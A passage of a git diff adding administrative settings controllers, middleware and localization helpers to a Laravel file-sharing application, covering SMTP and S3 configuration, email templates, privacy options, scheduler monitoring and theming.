?? '', + 'from_name' => $mailProvider->from_name ?? '', + ], + 'mail_provider_presets' => array_map(fn (MailProvider $provider): array => [ + 'value' => $provider->value, + 'label' => $provider->label(), + 'host' => $provider->defaultHost(), + 'port' => $provider->defaultPort(), + ], MailProvider::cases()), + 'test_result' => $request->session()->get('mail_test_result'), + ]); + } + + /** + * One form, one save: the notification toggle, admin recipients, and + * SMTP transport all persist together. + */ + public function update(Request $request): RedirectResponse + { + $canConfigureTransport = $this->capabilities->has(Capability::EmailTransportConfigure); + + $rules = [ + 'email_notifications_enabled' => ['required', 'boolean'], + 'admin_notification_emails' => ['required', 'array', 'min:1'], + 'admin_notification_emails.*' => ['email', 'max:255'], + 'from_address' => ['required', 'email', 'max:255'], + 'from_name' => ['required', 'string', 'max:255'], + ]; + + if ($canConfigureTransport) { + $rules += [ + 'provider' => ['required', Rule::in(array_map(fn (MailProvider $p): string => $p->value, MailProvider::cases()))], + 'host' => ['required', 'string', 'max:255'], + 'port' => ['required', 'integer', 'between:1,65535'], + 'username' => ['nullable', 'string', 'max:255'], + 'password' => ['nullable', 'string', 'max:255'], + 'encryption' => ['required', Rule::in(['none', 'tls', 'ssl'])], + ]; + } + + $validated = $request->validate($rules); + + $adminEmails = array_values(array_unique($validated['admin_notification_emails'])); + $this->settings->set(Setting::EmailNotificationsEnabled, $validated['email_notifications_enabled']); + $this->settings->set(Setting::AdminNotificationEmails, $adminEmails); + + $mailProvider = MailProviderSettings::current(); + + // Transport fields are simply never read from the request when the + // capability is absent — a hand-crafted PATCH can't smuggle a + // custom relay into a cloud install through this endpoint either. + if ($canConfigureTransport) { + $mailProvider->fill([ + 'provider' => $validated['provider'], + 'host' => $validated['host'], + 'port' => $validated['port'], + 'username' => $validated['username'] ?? null, + 'encryption' => $validated['encryption'], + ]); + + // A blank password keeps whatever is already stored — the field + // is never round-tripped to the browser (only `has_password` is). + if (is_string($validated['password'] ?? null) && $validated['password'] !== '') { + $mailProvider->password = $validated['password']; + } + } + + $mailProvider->from_address = $validated['from_address']; + $mailProvider->from_name = $validated['from_name']; + $mailProvider->save(); + + $this->mailConfig->flush(); + $this->mailConfig->apply(); + + // The long-running queue worker cached the old config at boot; + // this signals it to restart so queued/future mail uses the new + // settings without a manual container restart. + Artisan::call('queue:restart'); + + $this->activity->log(Action::SettingsUpdated, context: ['section' => 'email']); + + return back()->with('success', __('Email settings saved.')); + } + + /** + * Sends immediately (bypassing the queue, unlike every other + * notification in this app) to whatever address the admin enters, + * regardless of the toggle above — this exists specifically to + * verify SMTP works before switching it on, and needs a real, + * synchronous result to show, not a "queued" success message. + */ + public function sendTest(Request $request): RedirectResponse + { + abort_unless($this->capabilities->has(Capability::EmailTransportConfigure), 404); + + $validated = $request->validate([ + 'recipient' => ['required', 'email', 'max:255'], + ]); + + $host = config('mail.mailers.smtp.host'); + $port = config('mail.mailers.smtp.port'); + $hostPort = (is_string($host) ? $host : '').':'.(is_scalar($port) ? (string) $port : ''); + + // Which of the two this is has to travel with the message rather + // than be inferred from its text: the frontend colours the result, + // and sniffing for the word "Success" would stop working the + // moment somebody reads this screen in another language. + try { + Notification::route('mail', $validated['recipient'])->notifyNow(new TestEmailNotification); + + $result = [ + 'ok' => true, + 'message' => __('Success: test email sent to :email via :hostport.', [ + 'email' => $validated['recipient'], + 'hostport' => $hostPort, + ]), + ]; + } catch (Throwable $e) { + $result = ['ok' => false, 'message' => __('Failed to send: :error', ['error' => $e->getMessage()])]; + } + + return back()->with('mail_test_result', $result); + } +} diff --git a/app/Modules/Platform/Http/Controllers/EmailTemplatesController.php b/app/Modules/Platform/Http/Controllers/EmailTemplatesController.php new file mode 100644 index 00000000..5f89c4be --- /dev/null +++ b/app/Modules/Platform/Http/Controllers/EmailTemplatesController.php @@ -0,0 +1,149 @@ + array_map(fn (EmailTemplateSlot $slot): array => [ + 'slot' => $slot->value, + 'label' => $slot->label(), + 'customized' => $this->resolver->resolve($slot) !== null, + ], EmailTemplateSlot::cases()), + ]); + } + + public function edit(EmailTemplateSlot $slot): Response + { + $override = $this->resolver->resolve($slot); + + return Inertia::render('system/settings/email-templates/edit', [ + 'slot' => $slot->value, + 'label' => $slot->label(), + 'subject' => $override['subject'] ?? $slot->defaultSubject(), + 'body' => $override['body'] ?? $slot->defaultBody(), + 'customized' => $override !== null, + 'placeholders' => $slot->placeholders(), + ]); + } + + public function update(Request $request, EmailTemplateSlot $slot): RedirectResponse + { + $validated = $request->validate([ + 'subject' => ['required', 'string', 'max:255'], + 'body' => ['required', 'string', 'max:5000'], + ]); + + EmailTemplate::query()->updateOrCreate(['slot' => $slot->value], $validated); + + $this->resolver->flush(); + $this->activity->log(Action::SettingsUpdated, context: ['section' => 'email-template', 'slot' => $slot->value]); + + return back()->with('success', __('Email template saved.')); + } + + public function destroy(EmailTemplateSlot $slot): RedirectResponse + { + EmailTemplate::query()->where('slot', $slot->value)->delete(); + + $this->resolver->flush(); + $this->activity->log(Action::SettingsUpdated, context: ['section' => 'email-template-reset', 'slot' => $slot->value]); + + return back()->with('success', __('Email template reset to default.')); + } + + /** + * Renders this slot's *effective* email (the saved override if one + * exists, otherwise the code default — toMail() resolves that itself + * the same way a real send would) with representative sample content, + * through the currently active email theme. Never sends anything. + */ + public function preview(EmailTemplateSlot $slot): HttpResponse + { + $notifiable = new User(['name' => 'Jane Client', 'email' => 'preview@example.com']); + $mail = $this->sampleMail($slot, $notifiable); + + return new HttpResponse( + $this->preview->render($mail, $this->emailTheme->currentThemeKey()), + 200, + ['Content-Type' => 'text/html; charset=UTF-8'], + ); + } + + private function sampleMail(EmailTemplateSlot $slot, User $notifiable): MailMessage + { + return match ($slot) { + EmailTemplateSlot::FileShared => (new FileSharedNotification('sample-file.pdf', isFolder: false))->toMail($notifiable), + EmailTemplateSlot::FolderShared => (new FileSharedNotification('Sample Folder', isFolder: true))->toMail($notifiable), + EmailTemplateSlot::FileShareDigest => (new FileShareDigestNotification([ + new PendingNotification(['subject_name' => 'sample-file.pdf', 'context' => ['is_folder' => false]]), + new PendingNotification(['subject_name' => 'Sample Folder', 'context' => ['is_folder' => true]]), + ]))->toMail($notifiable), + EmailTemplateSlot::CommentPosted => (new CommentPostedNotification('sample-file.pdf', 'Jane Client', null))->toMail($notifiable), + EmailTemplateSlot::CommentDigest => (new CommentDigestNotification([ + new PendingNotification(['subject_name' => 'sample-file.pdf', 'context' => ['author_name' => 'Jane Client']]), + new PendingNotification(['subject_name' => 'Brand Guidelines.pdf', 'context' => ['author_name' => 'Ada Admin']]), + ]))->toMail($notifiable), + EmailTemplateSlot::ClientAccountApproved => (new ClientAccountApprovedNotification)->toMail($notifiable), + EmailTemplateSlot::ClientAccountDenied => (new ClientAccountDeniedNotification('Jane Client'))->toMail($notifiable), + EmailTemplateSlot::ClientWelcome => (new ClientWelcomeNotification)->toMail($notifiable), + EmailTemplateSlot::ClientAccountEdited => (new ClientAccountEditedNotification)->toMail($notifiable), + EmailTemplateSlot::AdminClientRegistered => (new AdminClientRegisteredNotification('Jane Client', 'preview@example.com', pendingApproval: false))->toMail($notifiable), + EmailTemplateSlot::AdminClientUploaded => (new AdminClientUploadedNotification('Jane Client', 'sample-file.pdf', 0))->toMail($notifiable), + EmailTemplateSlot::GroupMembershipRequested => (new GroupMembershipRequestedNotification('Jane Client', 'Sample Group'))->toMail($notifiable), + EmailTemplateSlot::GroupMembershipApproved => (new GroupMembershipApprovedNotification('Sample Group'))->toMail($notifiable), + EmailTemplateSlot::GroupMembershipDenied => (new GroupMembershipDeniedNotification('Sample Group'))->toMail($notifiable), + EmailTemplateSlot::PasswordReset => (new ResetPasswordNotification('sample-token'))->toMail($notifiable), + EmailTemplateSlot::TwoFactorReset => (new TwoFactorResetNotification)->toMail($notifiable), + }; + } +} diff --git a/app/Modules/Platform/Http/Controllers/ExternalStorageSettingsController.php b/app/Modules/Platform/Http/Controllers/ExternalStorageSettingsController.php new file mode 100644 index 00000000..823c3140 --- /dev/null +++ b/app/Modules/Platform/Http/Controllers/ExternalStorageSettingsController.php @@ -0,0 +1,149 @@ + $settings->active, + // Never name a top-level Inertia prop "key" — Inertia's React + // renderer spreads page props onto the component via + // `{ key: , ...props }`, and a prop + // literally named "key" in that spread silently overrides + // React's own reconciliation key, so the value never reaches + // the component as an actual prop (React always strips `key`). + 'access_key' => $settings->key ?? '', + 'has_secret' => $settings->secret !== null && $settings->secret !== '', + 'bucket' => $settings->bucket ?? '', + 'region' => $settings->region ?? '', + 'endpoint' => $settings->endpoint ?? '', + 'use_path_style' => $settings->use_path_style, + 'root' => $settings->root ?? '', + 'test_result' => $request->session()->get('storage_test_result'), + ]); + } + + public function update(Request $request): RedirectResponse + { + $validated = $request->validate([ + 'active' => ['required', 'boolean'], + 'access_key' => ['required', 'string', 'max:255'], + 'secret' => ['nullable', 'string', 'max:255'], + 'bucket' => ['required', 'string', 'max:255'], + 'region' => ['required', 'string', 'max:255'], + 'endpoint' => ['nullable', 'string', 'max:255'], + 'use_path_style' => ['required', 'boolean'], + 'root' => ['nullable', 'string', 'max:255'], + ]); + + $settings = ExternalStorageSettings::current(); + + $settings->fill([ + 'active' => $validated['active'], + 'key' => $validated['access_key'], + 'bucket' => $validated['bucket'], + 'region' => $validated['region'], + 'endpoint' => $validated['endpoint'] ?? null, + 'use_path_style' => $validated['use_path_style'], + 'root' => $validated['root'] ?? null, + ]); + + // A blank secret keeps whatever is already stored — the field is + // never round-tripped to the browser (only `has_secret` is). + if (is_string($validated['secret'] ?? null) && $validated['secret'] !== '') { + $settings->secret = $validated['secret']; + } + + $settings->save(); + + $this->configApplier->flush(); + $this->configApplier->apply(); + + // The long-running queue worker cached the old config at boot; + // BuildZipDownloadJob and future uploads need this to pick up the + // new backend without a manual container restart. + Artisan::call('queue:restart'); + + $this->activity->log(Action::SettingsUpdated, context: ['section' => 'storage']); + + return back()->with('success', __('Storage settings saved.')); + } + + /** + * Verifies the submitted (or, if the secret field was left blank, the + * already-stored) credentials can actually reach the bucket, mirroring + * v1's connection test — this exists specifically to catch a typo'd + * key/bucket/region before switching uploads over to it. + */ + public function testConnection(Request $request): RedirectResponse + { + $validated = $request->validate([ + 'access_key' => ['required', 'string', 'max:255'], + 'secret' => ['nullable', 'string', 'max:255'], + 'bucket' => ['required', 'string', 'max:255'], + 'region' => ['required', 'string', 'max:255'], + 'endpoint' => ['nullable', 'string', 'max:255'], + 'use_path_style' => ['nullable', 'boolean'], + ]); + + $settings = ExternalStorageSettings::current(); + $secret = (is_string($validated['secret'] ?? null) && $validated['secret'] !== '') + ? $validated['secret'] + : $settings->secret; + + try { + $config = [ + 'version' => 'latest', + 'region' => $validated['region'], + 'credentials' => [ + 'key' => $validated['access_key'], + 'secret' => (string) $secret, + ], + 'use_path_style_endpoint' => (bool) ($validated['use_path_style'] ?? false), + ]; + + if (is_string($validated['endpoint'] ?? null) && $validated['endpoint'] !== '') { + $config['endpoint'] = $validated['endpoint']; + } + + (new S3Client($config))->headBucket(['Bucket' => $validated['bucket']]); + + $result = __('Success: connected to bucket ":bucket".', ['bucket' => $validated['bucket']]); + } catch (Throwable $e) { + $result = __('Failed to connect: :error', ['error' => $e->getMessage()]); + } + + return back()->with('storage_test_result', $result); + } +} diff --git a/app/Modules/Platform/Http/Controllers/LanguageSettingsController.php b/app/Modules/Platform/Http/Controllers/LanguageSettingsController.php new file mode 100644 index 00000000..551e5dea --- /dev/null +++ b/app/Modules/Platform/Http/Controllers/LanguageSettingsController.php @@ -0,0 +1,75 @@ + $this->locales->installed(), + 'enabled' => $this->locales->enabled(), + 'default_locale' => $this->locales->defaultLocale(), + ]); + } + + public function update(Request $request): RedirectResponse + { + $validated = $request->validate([ + 'enabled_locales' => ['present', 'array'], + 'enabled_locales.*' => ['string', Rule::in($this->locales->installed())], + 'default_locale' => ['required', 'string', Rule::in($this->locales->installed())], + ]); + + // English is not optional — it is the translation key rather than a + // catalogue, and an install with no language at all is not a state + // this screen is allowed to produce. The frontend locks its + // checkbox; this is the half that actually enforces it. + $enabled = array_values(array_unique([...$validated['enabled_locales'], 'en'])); + + sort($enabled); + + // Checked against the list being saved, not the one currently + // stored: switching a language off and making it the default in the + // same save has to fail rather than half-apply. + if (! in_array($validated['default_locale'], $enabled, true)) { + throw ValidationException::withMessages([ + 'default_locale' => __('The default language has to be one of the languages you are offering.'), + ]); + } + + $this->settings->set(Setting::EnabledLocales, $enabled); + $this->settings->set(Setting::DefaultLocale, $validated['default_locale']); + + $this->activity->log(Action::SettingsUpdated, context: ['section' => 'languages']); + + return back(); + } +} diff --git a/app/Modules/Platform/Http/Controllers/LocaleController.php b/app/Modules/Platform/Http/Controllers/LocaleController.php new file mode 100644 index 00000000..5fdba582 --- /dev/null +++ b/app/Modules/Platform/Http/Controllers/LocaleController.php @@ -0,0 +1,29 @@ +validate([ + 'locale' => ['required', 'string', Rule::in($locales->enabled())], + ]); + + $request->session()->put('locale', $validated['locale']); + + // Persisted so queued emails (no session to read) render in the + // recipient's actual preferred language, not the app default. + $request->user()?->update(['locale' => $validated['locale']]); + + return back(); + } +} diff --git a/app/Modules/Platform/Http/Controllers/PrivacySettingsController.php b/app/Modules/Platform/Http/Controllers/PrivacySettingsController.php new file mode 100644 index 00000000..e21fdfc5 --- /dev/null +++ b/app/Modules/Platform/Http/Controllers/PrivacySettingsController.php @@ -0,0 +1,78 @@ + $this->settings->get(Setting::DownloadIpLogging), + 'account_erasure_grace_days' => $this->settings->get(Setting::AccountErasureGraceDays), + 'account_erasure_content_action' => $this->settings->get(Setting::AccountErasureContentAction), + 'account_erasure_reassign_to' => $this->settings->get(Setting::AccountErasureReassignTo), + 'reassign_candidates' => $this->accountDeletion->candidates(), + 'api_request_log_retention_days' => $this->settings->get(Setting::ApiRequestLogRetentionDays), + 'discourage_search_indexing' => $this->settings->get(Setting::DiscourageSearchIndexing), + ]); + } + + public function update(Request $request): RedirectResponse + { + $validated = $request->validate([ + 'download_ip_logging' => ['required', Rule::in(['all', 'anonymous_only', 'none'])], + 'account_erasure_grace_days' => ['required', 'integer', 'min:0'], + 'account_erasure_content_action' => ['required', Rule::in(['cascade_delete', 'reassign'])], + 'account_erasure_reassign_to' => [ + 'nullable', + 'integer', + 'required_if:account_erasure_content_action,reassign', + Rule::exists('users', 'id')->where('active', true), + ], + 'api_request_log_retention_days' => ['required', 'integer', 'min:0', 'max:3650'], + 'discourage_search_indexing' => ['required', 'boolean'], + ]); + + $this->settings->set(Setting::DownloadIpLogging, $validated['download_ip_logging']); + $this->settings->set(Setting::AccountErasureGraceDays, $validated['account_erasure_grace_days']); + $this->settings->set(Setting::AccountErasureContentAction, $validated['account_erasure_content_action']); + // Only meaningful for 'reassign'; store 0 otherwise so a later switch + // back to 'cascade_delete' doesn't leave a stale target lying around. + $this->settings->set( + Setting::AccountErasureReassignTo, + $validated['account_erasure_content_action'] === 'reassign' ? (int) $validated['account_erasure_reassign_to'] : 0, + ); + $this->settings->set(Setting::ApiRequestLogRetentionDays, $validated['api_request_log_retention_days']); + $this->settings->set(Setting::DiscourageSearchIndexing, $validated['discourage_search_indexing']); + + $this->activity->log(Action::SettingsUpdated, context: ['section' => 'privacy']); + + return back(); + } +} diff --git a/app/Modules/Platform/Http/Controllers/PublicListingSettingsController.php b/app/Modules/Platform/Http/Controllers/PublicListingSettingsController.php new file mode 100644 index 00000000..fbc9755f --- /dev/null +++ b/app/Modules/Platform/Http/Controllers/PublicListingSettingsController.php @@ -0,0 +1,54 @@ + $this->settings->get(Setting::PublicListingEnabled), + 'public_listing_slug' => $this->settings->get(Setting::PublicListingSlug), + ]); + } + + public function update(Request $request): RedirectResponse + { + $validated = $request->validate([ + 'public_listing_enabled' => ['required', 'boolean'], + 'public_listing_slug' => ['required', 'string', 'max:255', 'regex:/^[a-z0-9]+(-[a-z0-9]+)*$/'], + ]); + + $this->settings->set(Setting::PublicListingEnabled, $validated['public_listing_enabled']); + $this->settings->set(Setting::PublicListingSlug, $validated['public_listing_slug']); + + $this->activity->log(Action::SettingsUpdated, context: ['section' => 'public_listing']); + + return back(); + } +} diff --git a/app/Modules/Platform/Http/Controllers/SchedulerMonitoringController.php b/app/Modules/Platform/Http/Controllers/SchedulerMonitoringController.php new file mode 100644 index 00000000..8efb786b --- /dev/null +++ b/app/Modules/Platform/Http/Controllers/SchedulerMonitoringController.php @@ -0,0 +1,140 @@ + + */ + private const KNOWN_COMMANDS = [ + 'projectsend:purge-erasures' => 'Purge erased accounts', + 'projectsend:purge-stale-uploads' => 'Purge stale chunked uploads', + 'projectsend:purge-zip-downloads' => 'Purge zip downloads', + 'projectsend:check-for-updates' => 'Check for updates', + 'projectsend:fetch-news' => 'Fetch dashboard news', + 'projectsend:purge-expired-files' => 'Purge expired files', + 'projectsend:purge-orphan-files' => 'Purge orphan files', + ]; + + private const FAILED_PER_PAGE = 20; + + public function __construct( + private readonly FailedJobProviderInterface $failer, + ) {} + + public function index(Request $request): Response|RedirectResponse + { + $runs = ScheduledTaskRun::query()->get()->keyBy('command'); + + $tasks = collect(self::KNOWN_COMMANDS)->map(function (string $label, string $command) use ($runs): array { + $run = $runs->get($command); + + return [ + 'command' => $command, + 'label' => $label, + 'status' => $run?->status->value, + 'message' => $run?->message, + 'duration_ms' => $run?->duration_ms, + 'ran_at' => $run?->ran_at?->toIso8601String(), + ]; + })->values()->all(); + + /** @var list $failedJobRows */ + $failedJobRows = $this->failer->all(); + + // The provider hands back the whole list as an array (no LIMIT of its + // own), so page it in memory the same way the orphan-files repair + // tool does — a backlog big enough to matter is exactly when a single + // 100-row wall stops being usable. + $failed = collect($failedJobRows) + ->sortByDesc('failed_at') + ->map(fn (object $job): array => [ + 'id' => $job->id, + 'connection' => $job->connection, + 'queue' => $job->queue, + 'exception' => strtok((string) $job->exception, "\n") ?: null, + 'failed_at' => $job->failed_at, + ])->values(); + + $page = Paginator::resolveCurrentPage(); + + $paginator = new LengthAwarePaginator( + $failed->forPage($page, self::FAILED_PER_PAGE)->values()->all(), + $failed->count(), + self::FAILED_PER_PAGE, + $page, + ['path' => $request->url(), 'query' => $request->query()], + ); + + // A ?page= past the end (deleting a page's worth, or a stale bookmark) + // would render an empty list rather than the real last page. + if (Pagination::isPastLastPage($paginator, $page)) { + return redirect()->route('system-settings.scheduler.index', array_filter([ + 'tab' => 'failed', + 'page' => Pagination::redirectPage($paginator), + ])); + } + + return Inertia::render('system/settings/scheduler', [ + 'tab' => $request->query('tab') === 'failed' ? 'failed' : 'tasks', + 'tasks' => $tasks, + 'failed_jobs' => $paginator->items(), + 'failed_pagination' => Pagination::meta($paginator), + 'failed_total' => $failed->count(), + 'pending_jobs_count' => DB::table('jobs')->count(), + ]); + } + + public function retryFailedJob(string $uuid): RedirectResponse + { + Artisan::call('queue:retry', ['id' => [$uuid]]); + + return back()->with('success', __('Job queued for retry.')); + } + + public function destroyFailedJob(string $uuid): RedirectResponse + { + $this->failer->forget($uuid); + + return back()->with('success', __('Failed job deleted.')); + } + + public function destroyAllFailedJobs(): RedirectResponse + { + // flush() with no argument clears every failed job regardless of age + // — the same as `queue:flush`. The list only shows the most recent + // 100, but this deletes all of them, which is the intent of a + // "clear the backlog" button. + $this->failer->flush(); + + return back()->with('success', __('All failed jobs deleted.')); + } +} diff --git a/app/Modules/Platform/Http/Controllers/SystemSettingsController.php b/app/Modules/Platform/Http/Controllers/SystemSettingsController.php new file mode 100644 index 00000000..96844111 --- /dev/null +++ b/app/Modules/Platform/Http/Controllers/SystemSettingsController.php @@ -0,0 +1,100 @@ +capabilities->has(Capability::SystemUpdates) + && $request->user()?->can('manage_updates') === true; + + return Inertia::render('system/settings/general', [ + 'site_name' => $this->settings->get(Setting::SiteName), + // Resolved rather than raw: the stored value is empty on a + // fresh install ("whatever APP_TIMEZONE says"), and a picker + // showing nothing selected would invite an administrator to + // believe no zone is in effect. + 'timezone' => $this->timezones->default(), + 'timezones' => $this->timezones->options(), + // The administrator's own zone, when they have chosen one — + // null otherwise. Sent so the page can warn that this setting + // will not change what *they* see: their preference outranks + // it, and without being told they will change the setting, + // watch nothing move, and conclude it is broken. + 'viewer_timezone' => $request->user()?->timezone, + 'can_manage_updates' => $canManageUpdates, + 'check_for_updates' => $canManageUpdates ? $this->settings->get(Setting::CheckForUpdates) : null, + ]); + } + + public function update(Request $request): RedirectResponse + { + $canManageUpdates = $this->capabilities->has(Capability::SystemUpdates) + && $request->user()?->can('manage_updates') === true; + + $rules = [ + 'site_name' => ['required', 'string', 'max:255'], + // `sometimes` rather than `required`, same convention as + // check_for_updates below: a caller that does not send it + // leaves the zone alone instead of being rejected. There is + // no such thing as clearing it — the empty stored value means + // "follow APP_TIMEZONE", and only a fresh install has that. + 'timezone' => ['sometimes', 'string', 'timezone', Rule::in($this->timezones->all())], + ]; + if ($canManageUpdates) { + // Omitting the field (any caller not sending it, not just this + // page's own form) leaves the current value alone rather than + // erroring — same convention as FoldersController::update()'s + // optional public/slug fields. + $rules['check_for_updates'] = ['sometimes', 'boolean']; + } + + $validated = $request->validate($rules); + + $this->settings->set(Setting::SiteName, $validated['site_name']); + + if (array_key_exists('timezone', $validated)) { + $this->settings->set(Setting::Timezone, $validated['timezone']); + } + + // Simply never read from the request when the capability/permission + // is absent — a hand-crafted PATCH can't smuggle this on for a + // cloud install or a staff member without manage_updates either. + if ($canManageUpdates && array_key_exists('check_for_updates', $validated)) { + $this->settings->set(Setting::CheckForUpdates, $validated['check_for_updates']); + } + + $this->activity->log(Action::SettingsUpdated, context: ['section' => 'general']); + + return back(); + } +} diff --git a/app/Modules/Platform/Http/Controllers/ThemingSettingsController.php b/app/Modules/Platform/Http/Controllers/ThemingSettingsController.php new file mode 100644 index 00000000..10431c27 --- /dev/null +++ b/app/Modules/Platform/Http/Controllers/ThemingSettingsController.php @@ -0,0 +1,153 @@ + $this->settings->get(Setting::Theme), + 'email_theme' => $this->settings->get(Setting::EmailTheme), + 'themes' => $this->options($this->publicThemes, previewDir: null), + 'email_themes' => $this->options($this->emailThemes, previewDir: 'email'), + ]); + } + + public function update(Request $request): RedirectResponse + { + $validated = $request->validate([ + 'theme' => ['required', 'string', 'max:255'], + 'email_theme' => ['required', 'string', 'max:255'], + ]); + + $this->settings->set(Setting::Theme, $this->publicThemes->resolve($validated['theme'], $this->capabilities)); + $this->settings->set(Setting::EmailTheme, $this->emailThemes->resolve($validated['email_theme'], $this->capabilities)); + + // The long-running queue worker cached the old EmailTheme at boot + // (or at its first read since); this signals it to restart so + // queued notifications pick up the new theme without a manual + // container restart — same reasoning as EmailSettingsController. + Artisan::call('queue:restart'); + + $this->activity->log(Action::SettingsUpdated, context: ['section' => 'theming']); + + return back()->with('success', __('Theme updated.')); + } + + /** + * Renders a real sample email through the requested theme — bypassing + * Setting::EmailTheme entirely, so any available theme can be + * previewed without touching what's actually live — via the same + * MailMessage/Markdown pipeline every real notification uses (not a + * static mockup), so a premium theme's extra context (e.g. Branded's + * logo) shows exactly as it would in a real send. 404s for a theme + * this edition/install doesn't have, same as an unavailable key + * elsewhere in theming. + */ + public function previewEmail(string $key): HttpResponse + { + abort_unless($this->emailThemes->resolve($key, $this->capabilities) === $key, 404); + + $definition = $this->emailThemes->get($key); + $label = $definition === null ? $key : $definition->label; + + $message = (new MailMessage) + ->subject(__('Sample email')) + ->greeting(__('Hello!')) + ->line(__('This is a preview of the :theme email theme.', ['theme' => $label])) + ->action(__('Call to action'), url('/')) + ->line(__('This is a sample email — no notification was actually sent.')); + + return new HttpResponse($this->preview->render($message, $key), 200, ['Content-Type' => 'text/html; charset=UTF-8']); + } + + /** + * $previewDir is null for the public/portal registry (files land + * directly under images/theme-previews/) or a subdirectory name for + * any other registry — email themes use 'email', keeping their PNGs + * out of the public/portal namespace since the two registries share + * some keys (e.g. 'default', 'branded'). + * + * @return list + */ + private function options(ThemeRegistry $registry, ?string $previewDir): array + { + return array_map( + fn ($theme): array => [ + 'key' => $theme->key, + 'label' => $theme->label, + 'description' => $theme->description, + 'preview_url' => $this->previewUrl($theme->key, $previewDir), + 'preview_url_dark' => $this->previewUrl($theme->key, $previewDir, dark: true), + ], + $registry->available($this->capabilities), + ); + } + + /** + * A real screenshot under this theme — the public/portal set is a + * "My files" capture against a demo client with actual content (see + * the maintainers' screenshot tooling, and why an empty account can't + * be used to generate these); the email set is a capture of + * `previewEmail()`'s rendered sample message (see + * that same tooling). Null + * (falls back to a placeholder in the UI, or to the light capture for + * `dark: true` — see `ThemeCard` in theming.tsx) until the screenshot + * has actually been captured for this key, so a newly-registered + * theme never shows a broken image. + * + * `dark: true` looks for a `-dark` suffixed file alongside the normal + * one. Public/portal captures always have one (the app's own light/dark + * toggle actually changes how those pages render); email captures + * generally don't — the rendered mail HTML doesn't read the app's + * appearance setting, so there's nothing distinct to capture — and + * fall back to the light image via the same `??` in the frontend. + */ + private function previewUrl(string $key, ?string $dir, bool $dark = false): ?string + { + $suffix = $dark ? '-dark' : ''; + $relative = $dir === null ? "images/theme-previews/{$key}{$suffix}.png" : "images/theme-previews/{$dir}/{$key}{$suffix}.png"; + + return is_file(public_path($relative)) ? asset($relative) : null; + } +} diff --git a/app/Modules/Platform/Http/Controllers/TimezoneController.php b/app/Modules/Platform/Http/Controllers/TimezoneController.php new file mode 100644 index 00000000..631f07e2 --- /dev/null +++ b/app/Modules/Platform/Http/Controllers/TimezoneController.php @@ -0,0 +1,40 @@ +validate([ + 'timezone' => ['required', ...Rules::timezone()], + ]); + + $request->user()?->update(['timezone' => $validated['timezone']]); + + return back(); + } +} diff --git a/app/Modules/Platform/Http/Middleware/EnsureCapability.php b/app/Modules/Platform/Http/Middleware/EnsureCapability.php new file mode 100644 index 00000000..6f39774d --- /dev/null +++ b/app/Modules/Platform/Http/Middleware/EnsureCapability.php @@ -0,0 +1,44 @@ +middleware('capability:users.manage')`. + * + * API requests get a machine-readable 403; web requests get a 404 so + * unavailable features are absent, not teased. + * + * The API half throws CapabilityUnavailable rather than returning a body, + * so the refusal goes through ProblemDetails like every other API error + * instead of being the one response shaped differently from the rest. + */ +class EnsureCapability +{ + public function __construct( + private readonly CapabilityRegistry $capabilities, + ) {} + + public function handle(Request $request, Closure $next, string $capabilityKey): Response + { + $capability = Capability::from($capabilityKey); + + if ($this->capabilities->has($capability)) { + return $next($request); + } + + if ($request->expectsJson()) { + throw new CapabilityUnavailable($capability, $this->capabilities->edition()); + } + + abort(404); + } +} diff --git a/app/Modules/Platform/Http/Middleware/SetLocale.php b/app/Modules/Platform/Http/Middleware/SetLocale.php new file mode 100644 index 00000000..3f740cec --- /dev/null +++ b/app/Modules/Platform/Http/Middleware/SetLocale.php @@ -0,0 +1,43 @@ +user()?->locale; + + if (! is_string($locale) || ! $this->locales->isEnabled($locale)) { + $locale = $request->session()->get('locale'); + } + + if (! is_string($locale) || ! $this->locales->isEnabled($locale)) { + $locale = $request->getPreferredLanguage($this->locales->preferenceOrder()) + ?? $this->locales->defaultLocale(); + } + + app()->setLocale($locale); + + return $next($request); + } +} diff --git a/app/Modules/Platform/Installation/Installation.php b/app/Modules/Platform/Installation/Installation.php new file mode 100644 index 00000000..7ccb88e2 --- /dev/null +++ b/app/Modules/Platform/Installation/Installation.php @@ -0,0 +1,48 @@ +inContainer() ? InstallationKind::Container : InstallationKind::Manual; + } + + /** + * Protected so a test can answer for it: there is no way to be in a + * container and not in one within a single test run. + */ + protected function inContainer(): bool + { + // Docker writes the first; Podman writes the second. + return file_exists('/.dockerenv') || file_exists('/run/.containerenv'); + } +} diff --git a/app/Modules/Platform/Installation/InstallationKind.php b/app/Modules/Platform/Installation/InstallationKind.php new file mode 100644 index 00000000..34bfed65 --- /dev/null +++ b/app/Modules/Platform/Installation/InstallationKind.php @@ -0,0 +1,19 @@ +` posting a + * bare `YYYY-MM-DD`, and every timestamp column is UTC. Comparing the two + * directly — which is what `whereDate()` does — silently asks the database + * "which UTC day was this?", so a viewer in Buenos Aires filtering to + * "10 August" misses everything they did after 21:00 that evening and picks + * up three hours of the 9th instead. The fix is not a different comparison, + * it is converting the boundary: their 10 August began at 03:00Z and ended + * at 02:59:59Z the next morning. + * + * Both methods are total. A malformed or impossible date reaches here only + * from a hand-edited query string (the forms post a date picker's output, + * and `'date'` validation runs first), and a filter that throws would take + * down a page that has a perfectly good answer without it — so an + * unparseable value yields null and the caller simply does not filter. + */ +final class LocalDay +{ + /** + * The first instant of `$date` in `$timezone`, in UTC. + */ + public static function start(string $date, string $timezone): ?Carbon + { + return self::parse($date, $timezone)?->startOfDay()->utc(); + } + + /** + * The last instant of `$date` in `$timezone`, in UTC. + * + * Inclusive on purpose: "to 10 August" means through the end of the + * 10th, which is how the person typing it reads it. + */ + public static function end(string $date, string $timezone): ?Carbon + { + return self::parse($date, $timezone)?->endOfDay()->utc(); + } + + private static function parse(string $date, string $timezone): ?Carbon + { + try { + return Carbon::parse($date, $timezone); + } catch (Throwable) { + return null; + } + } +} diff --git a/app/Modules/Platform/Localization/LocaleRegistry.php b/app/Modules/Platform/Localization/LocaleRegistry.php new file mode 100644 index 00000000..fcf92a93 --- /dev/null +++ b/app/Modules/Platform/Localization/LocaleRegistry.php @@ -0,0 +1,120 @@ +|null + */ + private ?array $installed = null; + + public function __construct( + private readonly Settings $settings, + ) {} + + /** + * @return list + */ + public function installed(): array + { + if ($this->installed !== null) { + return $this->installed; + } + + $locales = ['en']; + + foreach (glob(lang_path('*.json')) ?: [] as $catalog) { + $locales[] = basename($catalog, '.json'); + } + + sort($locales); + + return $this->installed = array_values(array_unique($locales)); + } + + /** + * @return list + */ + public function enabled(): array + { + // Not memoized, unlike installed(): the settings screen saves and + // re-reads within the same request, and an intersection over a + // handful of strings is not worth a staleness bug. + $enabled = 